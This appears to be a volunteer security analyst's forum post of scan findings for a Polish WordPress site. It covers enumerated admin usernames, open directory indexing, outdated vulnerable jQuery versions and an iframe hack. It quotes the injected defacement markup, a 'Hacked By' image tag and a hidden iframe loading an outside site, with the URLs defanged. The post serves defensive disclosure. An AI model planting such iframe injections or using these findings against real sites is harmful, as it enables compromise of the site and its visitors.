Warning User Enumeration is possible
The first two user ID’s were tested to determine if user enumeration is possible.
ID User Login
1 None admin
2 None webtorium
It is recommended to rename the admin user account to reduce the chance of brute force attacks occurring. As this will reduce the chance of automated password attackers gaining access. However it is important to understand that if the author archives are enabled it is usually possible to enumerate all users within a WordPress installation.
Warning Directory Indexing Enabled
In the test we attempted to list the directory contents of the uploads and plugins folders to determine if Directory Indexing is enabled. This is an information leakage vulnerability that can reveal sensitive information regarding your site configuration or content.
/wp-content/uploads/ enabled
/wp-content/plugins/ disabled
Directory indexing was tested on the /wp-content/uploads/ and /wp-content/plugins/ directores. Note that other directories may have this web server feature enabled, so ensure you check other folders in your installation. It is good practice to ensure directory indexing is disabled for your full WordPress installation either through the web server configuration or .htaccess.
jQuery vulnerabilities:
-http://firma-anna.p
Detected libraries:
jquery - 1.11.0 : (active1) -http://firma-anna.p/vendor/jquery-1.11.0.min.js
Info: Severity: medium
https://github.com/jquery/jquery/issues/2432
http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/
jquery - 1.11.0 : (active1) -http://firma-anna.p/vendor/jquery-1.11.0.min.js
Info: Severity: medium
https://github.com/jquery/jquery/issues/2432
http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/
(active) - the library was also found to be active by running code
2 vulnerable libraries detected
-http://firma-anna.pl
Detected libraries:
jquery - 1.2.3 : (active1) -http://www.firma-anna.pl/wp-content/themes/th1179/js/jquery.js
Info: Severity: medium
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4969
http://research.insecurelabs.org/jquery/test/
Info: Severity: medium
http://bugs.jquery.com/ticket/11290
http://research.insecurelabs.org/jquery/test/
Info: Severity: medium
https://github.com/jquery/jquery/issues/2432
http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/
(active) - the library was also found to be active by running code
1 vulnerable library detected
Website has an iFrame hack
Also see: http://www.domxssscanner.com/scan?url=http%3A%2F%2Fwww.firma-anna.pl%2Fwp-content%2Fthemes%2Fth1179%2Fjs%2Fjquery.js
code errors:
cript
info: ActiveXDataObjectsMDAC detected Microsoft.XMLHTTP
info: [decodingLevel=0] found JavaScript
error: line:3: SyntaxError: invalid flag after regular expression:
error: line:3: s,"form")?jQuery.makeArray(this.elements):this;}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password/i.test(this.type));}).map(function(i,elem){var val=jQuery(this).val();re
error: line:3: ^
error: line:3: SyntaxError: missing ; before statement:
error: line:3: * * jQuery 1.2.3 - New Wave Javascript * * Copyright (c) 2008 John Resig (jquery.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * $Date: 2008-02-06 00:21:25 -0500 (Wed, 06 Feb 2008) $ * $Rev: 4663 $ */ (functi
error: line:3: ....^
Controller suffix should be removed…too many ) parenthesis remove one of them. Info credits goes to Stackoverflow’s DustinDavis.
The hackers code
70: < img src=hxxp://www.wykonczenia-podlog.pl/wp-content/themes/th1179/images/headers/default.jpg" width=“980” height=“266” alt=“Hacked By DevilHacker→ http://toolbar.netcraft.com/site_report?url=http://www.wykonczenia-podlog.pl on DROWn vulnerable nameserver: https://test.drownattack.com/?site=ns10.az.pl
71:
74: < iframe height=“1000” src=“htxp://www.charmed.sk/libraries/legacy/log/index.php” width=“1300”></ iframe >
77: ” usemap=“#top” />
78: < /div>
polonus (volunteer website security analyst and website error-hunter)